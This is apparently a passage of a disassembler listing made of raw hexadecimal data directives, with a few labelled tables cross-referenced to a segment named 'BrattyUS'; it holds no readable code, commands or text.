		dd 906035Bh, 450049h, 0A139FF00h, 45002409h, 39FF0000h
		dd 0FF050987h, 25080285h, 5014h, 0CBED39FFh, 49090603h
		dd 4500h, 0CBF339FFh, 49090603h, 39FF2800h, 0FF11A59Eh
		dd 104037Bh, 4F010F4Fh,	3D239FFh, 22089A00h, 0A280024h
		dd 499001h, 5E010A28h, 2A4F1405h, 59002FFh, 56FF5Eh, 5090600h
		dd 0C0FF1B1Ah, 0E3053C2Eh, 3DBA403h, 1D6917h, 10F1900h
		dd 1D69h, 24380104h, 3D010F00h,	40053D05h, 1A053D8Eh, 1C053D01h
		dd 3C140000h, 1F2305h, 18012700h, 3D239FFh, 25089A00h
		dd 1D6914h, 4F140000h, 414C5101h, 2D09FF01h, 600009Fh
		dd 3D0509h, 70855700h, 107E3AFFh, 80FF471Ah, 1F2327B9h
		dd 630521h, 0FF053107h,	5F39h, 0FF0D460Eh, 6006439h, 80CFF09h
		dd 0CEFFDF3Ah, 104403CEh, 258687FFh, 660C7F07h,	0F639FF09h
		dd 1F23h, 800513h, 804800h, 0FF0A0400h,	27D1h, 81D8FF04h
		dd 8039h, 802246h, 0FF5B2600h, 23DDh, 0DDFF1E06h, 0FF000023h
		dd 0ACD1h, 0FF3239FFh, 0FF000096h, 4C5288h, 80051300h
		dd 80480000h, 0A040000h, 27D1FFh, 0D8FF0400h, 4C0181h
		dd 0FF38FF00h, 13D1DAFFh, 5028CACh, 67120448h, 1E06AC26h
		dd 27D1FFh, 0FF304B00h,	0D1FF8C39h, 0F000027h, 0F1CEFF01h
		dd 20A00AFh, 48121FFh, 0F1CEFF01h, 250400AFh, 0F1CEFF14h
		dd 0FF0000AFh, 0E981h, 0AF381E06h, 0ACD1FF00h, 0CEFF1425h
		dd 0AFF1h, 0AF3814h, 0CBF039FFh, 38010403h, 10F00AFh, 23DDFFh
		dd 0FF1E0600h, 23DDh, 0ACD1FFh,	0C739FF00h, 96FFh, 715288FFh
		dd 5F700AFh, 67120448h,	800526h
		dd 804800h, 0FF0A0400h,	27D1h, 81D8FF04h, 0AF7101h, 19A38FFh
		dd 0FF25C1FFh, 220807C5h, 32ED0Ch, 1C090600h, 5BD1FF00h
		dd 2700009Fh, 94391001h, 7AC1300h, 0FFB9DBFFh, 10AB439h
		dd 2421FFh, 400006Fh, 21D1FF01h, 25040000h, 21D1FF14h
		dd 0FF000000h, 80FFDD81h, 0C1FF17D8h, 6034825h,	4009410h
		dd 10A0D05h, 0FF2469FFh, 62AA031h, 0FF007939h, 50217D1h
		dd 79480079h, 0FF0A0400h, 23D9h, 81D8FF04h, 13007939h
		dd 27D1FFh, 0FF304B00h,	17231239h, 27D1FFh, 2A010F00h
		dd 10A00AFh, 23D9FFh, 0AF156F00h, 14250400h, 0AF2Ah, 0ED81FFh
		dd 231E0600h, 0D1FF0000h, 2A1425ACh, 140000AFh,	0FF000023h
		dd 23AC39h, 0FF010F00h,	23DDh, 0D9FF1E06h, 4B000023h, 8139FF30h
		dd 6F009522h, 5010501h,	0FF051425h, 0C4FFDD81h,	390603D9h
		dd 0D1FF0095h, 95050217h, 954800h, 0FF100A04h, 953981D8h
		dd 0D1FF1300h, 4B000027h, 3139FF30h, 0FF0104FDh, 27D1h
		dd 0C1FF010Fh, 10A0021h, 951510h, 0AF1528h, 0FF142504h
		dd 21C1h, 0FF8581FFh, 21C5h, 25ACD1FFh,	21C1FF14h, 0FF140000h
		dd 21C5h, 34239FFh, 0C5FF0104h,	0F000021h, 2021FF01h, 1E060000h
		dd 0DBFF0710h, 0B739FFB9h, 6F009522h, 3E29FF01h, 1040000h
		dd 3E29FFh, 14250400h, 3E29FFh,	81FF0000h, 32F2FDDh, 0FF0C1400h
		dd 220807DDh, 1326001Ch, 0FF52DDFFh, 2039h, 952A13h, 2313h
		dd 27D1FF13h, 304B0000h, 0D22239FFh, 0C010403h,	1A01h
		dd 0D1FF0104h, 0F000027h, 21D9FF01h, 95150000h,	2A010A00h
		dd 280095h, 1A14h, 29FF010Ah, 28000020h, 400AF15h, 0D9FF1425h
		dd 21h,	0FF9581FFh, 21DDh, 25ACD1FFh, 21D9FF14h, 14000000h
		dd 21DDFFh, 5639FF00h, 0FF010403h, 21DDh, 21FF010Fh, 20h
		dd 952A14h, 4B339FFh, 2039FF0Ah, 55A80000h, 0C5FF1303h
		dd 13000020h, 20C1FFh, 5ADFFF2Eh, 20C1FFh, 10F1919h, 20C1FFh
		dd 0C1FF0104h, 550020h,	0BB009575h, 1C30000h, 8C000078h
		dd 801132h, 3AFF7100h, 2A0104CAh, 0BB0095h, 0FF0A0400h
		dd 20C5h, 0DCFFC676h, 80D5h, 0C5FF0104h, 19000020h, 0C5FF010Fh
		dd 0FF000020h, 0FF01463Ah, 20C5h, 0D2FF7430h, 2E000027h
		dd 952AFDh, 1A010A0Dh, 13260000h, 0AB9DDFFh, 1A01h, 10A2926h
		dd 23C1FFh, 10A2926h, 0FF2469FFh, 1907A0D9h, 0F100104h
		dd 12D1001h, 78FFh, 7801h, 10140028h, 220411FFh, 0FE0Ch
		dd 22080906h, 5D260094h, 0D037B01h, 0CEFF010Ah,	260095F1h
		dd 1A010A29h, 0E0B0000h, 1A010A0Dh, 0E0B0000h, 95F1CEFFh
		dd 0A292600h, 1A01h, 10010E0Bh,	0FF10010Fh, 3D239h, 9522089Ah
		dd 10A2800h, 2600F0h, 0FF010A0Dh, 0FF1B25C5h, 60000AEh
		dd 94220809h, 15D2600h,	3D38BFFh, 0AF3906h, 1A01D7h, 6031600h
		dd 2E00AF39h, 505ADFFFh, 19190000h, 50010Fh, 50010400h
		dd 550000h, 352DEFFh, 952A17h, 0C30000BBh, 7801h, 8011328Ch
		dd 4710000h, 10F6601h, 1042166h, 0BB00952Ah, 7D760000h
		dd 4645D08h, 952A01h, 0C30000BBh, 952AB506h, 0BB00h, 29FF06C3h
		dd 2A8E1BFFh, 0BB0095h,	0FF06C300h, 952A8E29h, 0BB00h
		dd 0C6660A04h, 80D5DCFFh, 1040000h, 66010F66h, 0FFCEFFh
		dd 1040000h, 0D2FF7466h, 22000027h, 0F000080h, 20DDFF01h
		dd 39060000h, 882E0095h, 20D9FFh, 10F1900h, 20D9FFh, 2A010400h
		dd 1AC30095h, 20D9FF01h, 0DEFF0000h, 104035Ch, 20DDFFh
		dd 281900h, 5E2DC4FFh, 0AF2204FFh, 0D0E0B00h, 0AF64010Ah
		dd 5E0E0B00h, 0FF1704FFh, 20DDh, 0D0E0B19h, 0DDFF0104h
		dd 19000020h, 81010E0Bh, 29260000h, 81010Ah, 0D0E0B00h
		dd 81010Ah, 5E0E0B00h, 0FF1704FFh, 20DDh, 810E0B19h, 22260000h
		dd 0FF58D8FFh, 20DDh, 0F100104h, 39FF1001h, 9A0003D2h
		dd 12D7A08h, 78FFh, 7801h, 10140028h, 2204DDFFh, 110Ch
		dd 906h, 0FF010A0Dh, 0D9FF2469h, 54DEFFA0h, 10A0D03h, 0E0B00F0h
		dd 0F00110B3h, 0D0E0B00h, 0F0010Ah, 1C7F0E0Bh, 0FF002800h
		dd 5184D1C4h, 95F1CEFFh, 0D0E0B00h, 0CEFF010Ah,	0B0095F1h
		dd 1001040Eh, 0FF10010Fh, 3D239h, 2D7A089Ah, 78FF01h, 780100h
		dd 14002800h, 0FF517E10h, 0DEFF25C5h, 38C5FFADh, 0A0D037Bh
		dd 0F1CEFF01h, 29260095h, 1A010Ah, 0D0E0B00h, 1A010Ah
		dd 0FF0E0B00h, 95F1CEh,	10A2926h, 0B00001Ah, 0F10010Eh
		dd 39FF1001h, 9A0003D2h, 952208h, 0F0010A28h, 0D002600h
		dd 0C5FF010Ah, 0B3FF25h, 3090600h, 0B001C15h, 15030906h
		dd 0B000080h, 906h, 9505028Ch, 954800h,	0FF100A04h, 7B81D8h
		dd 5028C00h, 79480079h,	0FF0A0400h, 23D9h, 81D8FF04h, 110013Eh
		dd 0D00009Fh, 25089A00h, 0FF011014h, 10525C1h, 6B25C5FFh
		dd 0ABFFh, 640C0906h, 88FF0000h, 0AF6352h, 44805F7h, 5266712h
		dd 48000080h, 4000080h,	27D1FF0Ah, 0FF040000h, 630181D8h
		dd 120400AFh, 0D1FF030Ch, 81FFD88Eh, 0EFFF400Eh, 0EC39FF0Dh
		dd 7054E98h, 7006340h, 39FF0531h, 0D15F592h, 9BB39FFh
		dd 2041004h, 1704C205h,	44472605h, 7000D10h, 0B00247Fh
		dd 39FF0906h, 24390615h, 0D41300h, 60C1300h, 13004939h
		dd 24390605h, 3C882E00h, 0F190024h, 243C01h, 243C1E44h
		dd 3000000h, 352DEFFh, 0FF010A29h, 3C142DD1h, 0FF000024h
		dd 0D2F35C4h, 0D1FF010Ah, 662062Dh, 0D4018A09h,	3160000h
		dd 0FF010A0Dh, 6EFF2DD1h, 0ED1C0FFh, 29FF0142h,	1600002Ah
		dd 10A0D03h, 0FF2DD1FFh, 0D1C0FF4Fh, 501420Eh, 82BA03h
		dd 24390600h, 242200h, 806FF45h, 0C4FF0029h, 8A0718D9h
		dd 246401h, 14000316h, 2419h, 18F9C4FFh, 22002419h, 0FF450024h
		dd 290806h, 18D9C4FFh, 0C018A07h, 19142503h, 0FF000024h
		dd 118F9C4h, 496020h, 4B00004Bh, 4B0000h, 4B00h, 0FF00004Bh
		dd 0FF659C39h, 603D10Ah, 0FF1B051Eh, 660116DDh,	8A2E08ABh
		dd 8AB6601h, 2A29FF13h,	24480000h, 8AB1900h, 50018A2Eh
		dd 0AB640000h, 1B0C1308h, 116DDFFh, 1900004Ch, 8A2E08ABh
		dd 4C01h, 1308AB64h, 48002464h,	0AB190024h, 18A2E08h, 64002471h
		dd 0D41308ABh, 24480000h, 8AB1900h, 63018A2Eh, 0AB640024h
		dd 66142508h, 5014h, 4C1400h, 71140000h, 14000024h, 0D002463h
		dd 245E010Ah, 9060B00h,	39FF0024h, 0D8EFC4BCh, 0F553A16h
		dd 40070502h, 31070063h, 9039FF05h, 0FF0D15F5h,	409B939h
		dd 42F2E10h, 2040502h, 48448F05h, 5C1204CCh, 0FF070050h
		dd 0FF722EC1h, 0CD85h, 2500906h, 1A448F05h, 0F1CEFF1Bh
		dd 5C050204h, 71A441Bh,	722EC1FFh, 23F6CEFFh, 40090600h
		dd 3AFF15FAh, 4854C449h, 7590700h, 0FF09055Ah, 1303BBD9h
		dd 23D0C1FFh, 0E9075907h, 99F39FFh, 89D0FF11h, 23D3C1FFh
		dd 0E9075907h, 0FD39FFh, 9060000h, 89D0FF11h, 23D2C1FFh
		dd 0E9075907h, 0DB39FFh, 9060000h, 89D0FF11h, 23D5C1FFh
		dd 0E9075907h, 1D3939FFh
		dd 9060000h, 89D0FF11h,	47128CFFh, 9B6969FFh, 2586D1FFh
		dd 0D57F07h, 0FF09060Bh, 0FF036739h, 12DDE88h, 11FF330Ch
		dd 0FF00D55Ch, 464191F2h, 3EC9C4FFh, 7368h, 73681E06h
		dd 7000000h, 0FF0A1062h, 655700E6h, 0D03A8FFh, 9F010Ah
		dd 0BD222600h, 9F5B2600h, 1E060000h, 4B00009Fh,	0FF000000h
		dd 103EE1C4h, 0E6FF19h,	70716557h, 0FF011503h, 0CEFF3E69h
		dd 0D1DAFFFEh, 0B7DDFF13h, 4580000h, 9F01h, 4561904h, 73905Bh
		dd 731500h, 2600h, 3ED9C4FFh, 0CEFF0700h, 681400CEh, 73h
		dd 3EE1C4FFh, 0E709FF10h, 65570000h, 616B0109h,	3160000h
		dd 31FF0115h, 6F000038h, 45000061h, 0FF000000h,	7348DC4h
		dd 0CECEFFh, 736814h, 0C4FF0000h, 44103EE1h, 655700FEh
		dd 0FF01BCFFh, 3E01h, 3920010Fh, 51300D5h, 10400D5h, 0FF9C4C10h
		dd 3AFF900Bh, 60B002Eh,	0F700BD09h, 6168h, 141E0A46h, 0FF000061h
		dd 30C87A22h, 0FF00BD39h, 11FFE2D1h, 0C800BD5Ch, 6168010Ah
		dd 0B0B0000h, 0B00000Eh, 0E0Bh,	39FF5B26h, 0A000038h, 0BD4301h
		dd 0B788FF0Bh, 39300000h, 0FF000073h, 11FFE2D1h, 735Ch
		dd 0FF010AC8h, 3E19h, 0E0B0Bh, 74010F00h, 10A0000h, 3E19FFh
		dd 88FF0B00h, 150000B7h, 0FF010A03h, 3E01h, 0FF000026h
		dd 0FF0199C4h, 3985h, 3B100104h, 1AF138FFh, 3985FF13h
		dd 1B000000h, 0FF52D8FFh, 3985h, 85FF174Bh, 30000039h
		dd 3E01FF74h, 20170000h, 0FFF5D1FFh, 0FF6DDEDEh, 1A205A11h
		dd 9FF010Fh, 4000038h, 3809FF01h, 0A0A0000h, 3E01FFh, 10FF2B00h
		dd 85FF01EAh, 3E000039h, 1040000h, 3809FFh, 0FF197600h
		dd 39FF11DDh, 0DEFF38D5h, 11FF6DDEh, 3809FF5Ah,	1A0A0000h
		dd 0A05020Fh, 3E01FFh, 10FF2B00h, 85FF01EAh, 3E000039h
		dd 7000000h, 1F05h, 6D200104h, 52D8FF19h, 54DEFF70h, 53FF5303h
		dd 600100BDh, 190400D5h, 74EAC1FFh, 111B0000h, 2F2AFFh
		dd 0BD275300h, 0D5600100h, 0FF190400h, 7401EADDh, 111B0000h
		dd 2F0BFFh, 0FF010400h,	3809h, 7A087DD1h, 0DE1166FFh, 7B5C66FFh
		dd 1550000h, 0DDFF1920h, 7401EAh, 0FF110700h, 4000077h
		dd 3809FF01h, 7DD10000h, 66FF7A08h, 66FFDE11h, 0BDA15Ch
		dd 19200155h, 1EADDFFh,	3839FFh, 3E110700h, 0FF144114h
		dd 3821h, 85FF1400h, 39h, 6000507h, 58B83209h, 0EB3D13h
		dd 3D882E00h, 190000EBh, 0EB3D010Fh, 1040000h, 0EB3Dh
		dd 0BB750055h, 6530000h, 7DC29FFh, 556h, 0FCD1FF8Ch, 50204h
		dd 0FF065300h, 5607DB29h, 8C000005h, 4EFD1FFh, 502h, 1780153h
		dd 0EB3Dh, 0FFD1FF8Ch, 3D5C3AFFh, 170000EBh, 0EB3Dh, 85FF010Fh
		dd 0FF000039h, 104DC3Ah, 0EB3Dh, 3D010F19h, 40000EBh, 502h
		dd 1780153h, 3985FFh, 5120400h,	0FF760000h, 3AFF59D8h
		dd 0EB3D019Ah, 6530000h, 4AE29FFh, 502h, 29FF0653h, 40AEFFCEh
		dd 50239h, 5120400h, 0FF760000h, 10459D8h, 3985FFh, 10F1900h
		dd 3985FFh, 513AFF00h, 3985FF1Eh, 4B0000h, 2001040Dh, 5E013E18h
		dd 0B0000EBh, 4030906h,	3E182001h, 3681FF01h, 0C488FFh
		dd 0D5090600h, 0FF19D100h, 7A0881D3h, 811166FFh, 0D16E0000h
		dd 0FF7A087Dh, 811166h,	4500h, 0FF09060Bh, 0FF000036h
		dd 0FF5E5169h, 26000036h, 36FF5Eh, 11320A00h, 2E39FFh
		dd 0FF09060Bh, 45002E39h, 60B0000h, 9A000309h, 3B101708h
		dd 37938FFh, 5E5169FFh,	36FFh, 0B010F3Dh, 3985FF0Bh, 3750000h
		dd 50204h, 39FF2800h, 39FF09BFh, 45002Eh, 9060B00h, 89A0003h
		dd 0FF3B1017h, 104E53Ah, 0B5B160Bh, 7E38FFh, 68140000h
		dd 73h,	3EE1C4FFh, 0E0C4FF10h, 85570000h, 3A33FF1Ah, 478E31FFh
		dd 0FF031006h, 1F1A0B39h, 37E0521h, 0FF1B9B13h,	72072EDFh
		dd 422F1F62h, 1703E802h, 211A3D05h, 0C1FF3198h,	242D658h
		dd 7000D0Ch, 0D911FF0Ch, 309060Bh, 5310700h, 556137Dh
		dd 80B11FFh, 302D9317h,	33371604h, 39FF0D36h, 6000049h
		dd 8100409h, 0D15A0725h, 5210E03h, 0FF1F0507h, 54C4E2D3h
		dd 0FF5A073Bh, 210E03E6h, 0BBD3FF05h, 1AFF39FFh, 5075913h
		dd 39FF461Fh, 59131AC2h, 2C1F0507h, 0F211FF33h,	3A29FF02h
		dd 0C4E2D3FFh, 0C4FF0054h, 115D087Dh, 0FF89D0FFh, 47128Ch
		dd 125A07h, 0FFA50000h,	0FF5A2EC1h, 1Eh, 332688FFh, 128CFF36h
		dd 5A80FF47h, 1124C00h,	54E0000h, 0BCFF3E10h, 81FF0303h
		dd 0D69FFB5h, 0FF8782FFh, 0C4FF2ED3h, 0D3255225h, 0FF900AFFh
		dd 3900Ah, 2 dup(900BFFD3h), 612208h, 9060B00h,	2E000061h
		dd 3F09FF88h, 0F190000h, 3F09FF01h, 1E060000h, 3F09FFh
		dd 0A4DBFF00h, 9A000D00h, 612208h, 0FF5B6F00h, 1E063CC1h
		dd 483CC1FFh, 40400718h, 2FFDF9Fh, 39FF002Fh, 0FF001D0Ch
		dd 8C801539h, 39FF0000h, 0B808h, 4E39FFh, 3A081500h, 0A8FFh
		dd 900BFF0Eh, 0FF0E0000h, 900Bh, 72FF000Eh, 0DEFF3ABDh
		dd 72FF004Ah, 113ABDh, 0BD72FF00h, 4B2AFF3Ah, 0BD72FF00h
		dd 0FF010A29h, 3F31h, 0C4FF006Fh, 0FF5D0841h, 0FF3AB9C7h
		dd 0E03D031h, 6122h, 0DDFF4E0Bh, 3AFF003Ch, 0FF0104DCh
		dd 3D003CDDh, 0DDFF010Fh, 1E06003Ch, 3CDDFFh, 39FF294Bh
		dd 0FF0E034Eh, 53003CDDh, 6111h, 8D29FF06h, 3CDDFFh, 6111320Ah
		dd 1F450000h, 39FF2908h, 0CF40F48Eh, 7939FFh, 0FF010A00h
		dd 45003CC5h, 0FF3A4608h, 60000B2h, 6000009h, 6139h, 2422013h
		dd 6CCA0D05h, 60E0B00h,	7007201Eh, 0FF2E5206h, 7205262h
		dd 0B81EFFF6h, 450000h,	10F200Eh, 0FF7EFF20h, 0A03C1D1h
		dd 3E39FF01h, 0B0B0000h, 610906h, 411E0600h, 52D8FF1Bh
		dd 0D8FF0741h, 552h, 733906h, 732200h, 0FFA40B00h, 2E8Ah
		dd 7000D0Dh, 9060010h, 55239FFh, 0D0D0000h, 100700h, 39FF0906h
		dd 86A0552h, 0C0FF1B03h, 0AFF27B9h, 0E000090h, 4034608h
		dd 0B521FF12h, 8F8EFF03h, 9084717Ch, 0A069FF84h, 846B7C00h
		dd 7C25089Fh, 7C25087Bh, 7C250874h, 7C250881h, 84A18443h
		dd 84E2847Eh, 7C00849Ch, 84328427h, 84698430h, 841B7C3Bh
		dd 80FF4F4Fh, 5E0A98ECh, 0A3D9FF38h, 0FFFCFF98h, 103C1D1h
		dd 0FFECD0FFh, 7503C1D1h, 1A310409h, 81D12FFh, 7CA07C25h
		dd 4F4F4F0Dh, 0C5FF383Ch, 3C0478DAh, 0E2DDFF38h, 0E72603FFh
		dd 26D9FF38h, 3AFF35E7h, 56C23881h, 0D9FF38h, 0FF0038FFh
		dd 3BFF000Ah, 0DA09FF00h, 2CA418FFh, 40C5FF6Ch,	0D2C1FF6Ch
		dd 0A6DDFF3Eh, 0D9FF383Ch, 0CAC1FFA7h, 0FAC5FF38h, 0D9FF383Ch
		dd 0F585FFCAh, 0FF26DDFFh, 9FF260Bh, 8AD1FF52h,	82FF4F4Fh
		dd 3C047887h, 0E2C1FF38h, 3C04E72Ch, 26DDFF38h,	8E38AEE7h
		dd 0DDFFC238h, 38FF00h,	0FF000AFFh, 9FF003Bh, 0A418FFDAh
		dd 42A6C2Ch, 0C5FF38E6h, 0D2FFEB26h, 0C1FF3E00h, 0DDFF38A6h
		dd 0FF8C04A7h, 6C7C8A8Fh, 827C2508h, 1DD1FF08h,	4354F4Fh
		dd 0C5FF383Ch, 0AC11FFDAh, 2C26C1FFh, 5B520BFFh, 58C5FF38h
		dd 0FF23C238h, 2C2AAC11h, 0FF2609FFh, 385B520Bh, 0F585FF23h
		dd 11DAFF2Ah
		dd 5E042A07h, 3C042A38h, 0E2C5FF38h, 0E72603FFh, 0FF383C04h
		dd 0FF0426C1h, 4083A02h, 385A09FFh, 85FF042Ah, 0FF388EF5h
		dd 0FF00C1h, 3B00FF08h,	0FF0900FFh, 0C070ADAh, 0E6236C2Ch
		dd 0EB2C2A38h, 3E00D2FFh, 3CA6C5FFh, 0A7C1FF38h, 79EFF8Ch
		dd 0BFF2C2Fh, 5209FF26h, 258AD1FFh, 0A08DFF7Ch,	0FFA089FFh
		dd 81FFA085h, 3D7C00A0h, 19843C84h, 66846484h, 2508507Ch
		dd 25084C7Ch, 3884637Ch, 3031584h, 3037C6Eh, 0FF38A00Fh
		dd 29FF81DDh, 4F4FA0h, 6C5A381Bh, 0FFD8EF03h, 0FB0552DDh
		dd 83FF7F04h, 0C0FF00B9h, 0FF020454h, 0D9FF87DDh, 0DDFF6781h
		dd 54D9FF81h, 5CC5FF07h, 725606Fh, 0FF031A05h, 479B1318h
		dd 0AF121006h, 5A075907h, 3D1DFFFh, 21FF020Ah, 3C040BB9h
		dd 0FF041A38h, 0F9B5220h, 3C1A97FFh, 16DDFF38h,	0F3E6870h
		dd 0D9FF97FFh, 47098A5h, 8C81D9FFh, 9B138FFFh, 0FF5A87FFh
		dd 383C9039h, 1BD0D9FFh, 3987FF2Fh, 2F63FFh, 8FFFAA00h
		dd 3C041A13h, 0E7041A38h, 1A9FFF1Ah, 0F9B8F19h,	0D9FF97FFh
		dd 3E687054h, 81D9FF04h, 138FFF8Ch, 5A87FF1Ah, 0FF97FF04h
		dd 687016D9h, 4701B3Eh,	7781D9FFh, 2F54DDFFh, 0FF2E87FFh
		dd 0FF0861C4h, 0FF848FD1h, 842AA0C5h, 0D23920FFh, 27D1FF03h
		dd 0D9FF383Ch, 0FF2F1BD0h, 0E0FF3987h, 0FFAA0000h, 1A138Fh
		dd 2508237Ch, 0F1CEFF7Ch, 0FF0A0A84h, 27D1h, 5539FFh, 5C12FF00h
		dd 0AAA39FFh, 23D9FF0Ah, 39FF0000h, 100A0ABEh, 0B2FFh
		dd 756912FFh, 300001Dh,	2 dup(3030303h), 0FF030303h
		db 0CEh, 0D1h
word_3F77DE	dw 5454h		; DATA XREF: BrattyUS:off_3DF408o
		dd 54945454h, 54A45454h, 0ACAC546Ch, 54549494h,	54EA9A54h
		dd 6C545428h, 94949470h, 54545454h, 94945454h, 9C949C94h
		dd 949C949Ch, 0B99494ACh, 94949494h, 5050D0D5h,	44395439h
		dd 90859450h, 94504590h, 68949094h, 5D446854h, 3954395Dh
		dd 94D19444h, 94945494h, 94949494h, 0D0549494h,	94949454h
		dd 9CD99454h, 94D9D138h, 94848494h, 94909484h, 515451DFh
		dd 0DCDE5154h, 94949494h, 546C1894h, 94946C54h,	5C549C94h
		dd 84948494h, 54948494h, 949494D9h, 94549411h, 94949494h
		dd 945454D0h, 94949454h, 28545494h, 54542854h, 3 dup(54545454h)
		dd 0AC6C5454h, 94949494h, 54909494h, 6C6C5454h,	54545454h
		dd 94949454h, 5A94BBBBh, 94999094h, 4 dup(94949494h), 94945894h
		dd 2 dup(94949494h), 94379494h,	9 dup(94949494h), 94C09494h
		dd 2949494h, 10909094h,	54549494h, 2ED15454h, 54545454h
		dd 5454D0EBh, 94A99454h, 94949454h, 94949494h, 94999494h
		dd 9494545Dh, 0AC3094B4h, 9454C0D0h, 94949454h,	945459ACh
		dd 9494AC94h, 549494ACh, 0AC949454h, 94949494h,	94ACAC94h
		dd 54549494h, 54945454h, 54545454h, 54549494h, 95859526h
dword_3F7968	dd 0A1A1A1A1h, 9D8DA1A1h, 275454D1h, 2AA1A5B5h,	35E4D02Ah
					; DATA XREF: BrattyUS:003DF40Co
		dd 0D7D654D1h, 0A12EA1E1h, 3AB1B1B1h, 0A13A3A3Ah, 0B228A1A1h
		dd 0E2F1F1F5h, 0D1F1F1F1h, 942A746Ch, 0D0D75454h, 0D0D0D0D0h
		dd 0D01894D1h, 27277417h, 0DA393974h, 2E742FA1h, 55B590D1h
		dd 0D0D07455h, 0D0D0D0D0h, 0D0D0D0D9h, 0D0D0D0D0h, 90D05AD0h
		dd 3ABA9090h, 9090D03Ah, 0D0D0D08Ch, 2CEF5454h,	547454D1h
		dd 0B0755AD0h, 54C75454h, 742EF1D0h, 0B45555B4h, 0D974C8E2h
		dd 0D1D052D9h, 0D5A1FFD0h
		db 0A1h, 81h
word_3F79FE	dw 0B43Dh		; DATA XREF: BrattyUS:003DF410o
		dd 549C5494h, 54745454h, 115C5C54h, 5C5C5C74h, 5454746Ch
		dd 54381054h, 5C545C5Ch, 6C5C5454h, 0ECEC943Dh,	802994ECh
		dd 54B45454h, 943D54ACh, 3D1594ACh, 9494ACACh, 94941515h
		dd 94AC3D15h, 3D159494h, 0AC745454h, 545C935Ch,	3D3D3D54h
		dd 5429B7B7h, 54545454h, 54546C54h, 9694153Dh, 15941594h
		dd 94D1943Dh, 91D194D1h, 94919191h, 91919491h, 94919191h
		dd 9891D1D1h, 15A9A93Dh, 94ACAC15h, 94AC9491h, 94949491h
		dd 151594EDh, 0D194B4ACh, 0AC919494h, 94949194h, 299CD594h
		dd 54541954h, 541554ACh, 0C9C13DFEh, 0F9F5F1CDh, 0E9E5E1FDh
		dd 8D8985ACh, 0ACACECECh, 156C6C54h, 943D1529h,	15949415h
		dd 949C9494h, 15949494h, 153DAC3Dh, 0AC153D94h,	9494AC94h
		dd 3D3D3D3Dh, 3D153D15h, 94941554h, 94319494h, 0F3949429h
		dd 5C54749Ch, 5C545494h, 51945544h, 54514544h, 5C547471h
		dd 445C5474h, 85445C55h, 74199451h, 54945C54h, 55445C54h
		dd 45445194h, 949C5451h, 919471E9h, 91948491h, 3D13919Ch
		dd 91949CB4h, 94159194h, 71B13D91h, 9CB49CB4h, 9C55A484h
		dd 9485A484h, 9C94AC51h, 0B43D9494h, 0B1B1949Ch, 94943D71h
		dd 94949431h, 74943194h, 743D5454h, 3D545474h, 54D11515h
		dd 15155454h, 15151515h, 15156C15h, 15151515h, 549C5415h
		dd 545C5C5Ch, 545C545Ch, 159494ACh, 94949C15h, 94159494h
		dd 0A5A1AD15h, 0B4B43DA9h, 94119494h, 949C9C94h, 0B79C9C9Ch
		dd 54549C9Ch, 94E35C54h, 0ACB4AC94h, 2929B4ACh,	0ACB42929h
		dd 94119415h, 0AC90ACACh, 0D1541174h, 0B415ACD1h, 54549454h
		dd 742D5454h, 2	dup(0D1545454h), 0D3AC543Dh, 1F151554h
		dd 5454543Dh, 15943D54h, 94941594h, 94159415h, 9CAD9C9Ch
		dd 849CD5EDh, 0B43D9C3Dh, 3810B494h, 94943D94h,	94299C3Dh
		dd 9C94AC3Dh, 94942994h, 943D9494h, 94292994h, 153D1529h
		dd 9C94D13Dh, 0ACACB494h, 0B4B4B4ACh, 1394AC9Ch, 6C6C1313h
		dd 6C6C6C6Ch, 74546C6Ch, 0AC943D6Ch, 94ED3D94h,	315494B4h
		dd 13133D54h, 3D545413h, 0ACACAC94h, 6C6C7474h,	94545415h
		dd 0AC71ACD2h, 0B41906ACh, 9194D194h, 3D94949Ch, 0D1D194B7h
		dd 0ACEC9CD1h, 0DCB495DCh, 949C94ADh, 0DC159494h, 0DC74DCADh
		dd 0DCDC54ADh, 0DC95DCACh, 13541515h, 0DC549454h, 0DC94AC15h
		dd 15943DADh, 11941594h, 949C9CACh, 0ECECEC94h,	745C74B4h
		dd 74747474h, 74745454h, 153D546Ch, 0AC949494h,	94941194h
		dd 54549411h, 3DD19494h, 15949494h, 9C949429h, 94299494h
		dd 94292994h, 94292929h, 9429943Dh, 94949C94h, 29299429h
		dd 29949421h, 29299494h, 29292994h, 29B43D94h, 0AC942929h
		dd 3D9439ACh, 94549494h, 54942954h, 74546C6Ch, 15155C54h
		dd 54549494h, 54945454h, 5454D115h, 94545454h, 54945494h
		dd 94945494h, 54549454h, 94549454h, 54549494h, 94299494h
		dd 94949494h, 2E2E545Ah, 5454542Eh, 13135494h, 13131313h
		dd 6C2E6C2Eh, 2E2E2E2Eh, 94949494h, 0AC54296Ch,	94942994h
		dd 159494ACh, 94AC1329h, 0D1B44AACh, 6C74AC94h,	3D943DD5h
		dd 11699454h, 69111111h, 94699469h, 0B4699469h,	0A994943Dh
		dd 94299194h, 0A994ACA9h, 9194A9A9h, 989C9429h,	74949454h
		dd 2991A95Ch, 94919194h, 91A954A9h, 299494D1h, 546C5C5Ch
		dd 9194A9A9h, 91299194h, 6C912991h, 74949194h, 54D5ED54h
		dd 54D5D5D5h, 54949494h, 0D5545454h, 94F55454h,	9C2994A9h
		dd 94989C98h, 296C6C3Dh, 54542954h, 54547454h, 946C5454h
		dd 0B43DB43Dh, 94949494h, 94B4949Ch, 9C949C94h,	3D94B431h
		dd 9C949494h, 9494B43Dh, 943D949Ch, 119CB411h, 5AB494D1h
		dd 9C3DB1B1h, 98949194h, 11949494h, 94391194h, 94319111h
		dd 1194AC9Ch, 94941539h, 9C9CD594h, 9C949C94h, 9491943Dh
		dd 6 dup(9C94949Ch), 9494A09Ch,	94949C9Ch, 9C949C9Ch, 4	dup(9C9C9494h)
		dd 3E9C9C94h, 949C9C94h, 4 dup(94949494h), 949C949Ch, 9C949C94h
		dd 949C949Ch, 94949C9Ch, 9C9C949Ch, 9C949C94h, 9C94949Ch
		dd 9C589C94h, 9C949C94h, 9C94949Ch, 949C9C94h, 9194D194h
		dd 9194919Ch, 9411B49Ch, 3D3D3D9Ch, 9C2F94ACh, 3D9C943Dh
		dd 54155494h, 15545415h, 15545454h, 54545454h, 54155415h
		dd 9494943Dh, 15545474h, 6C909094h, 0B7943154h,	15157474h
		dd 6C6C3D2Eh, 4EB43D6Ch, 94945454h, 6CB75454h, 943D2A54h
		dd 0AC94B4B4h, 9CAC9494h, 94949C94h, 49941194h,	949C949Ch
		dd 1194743Dh, 743D5454h, 3D547474h, 0AC3D6CACh,	119405ACh
		dd 94119415h, 94949C51h, 94ACAC94h, 6C7474B4h, 6C6C6C6Ch
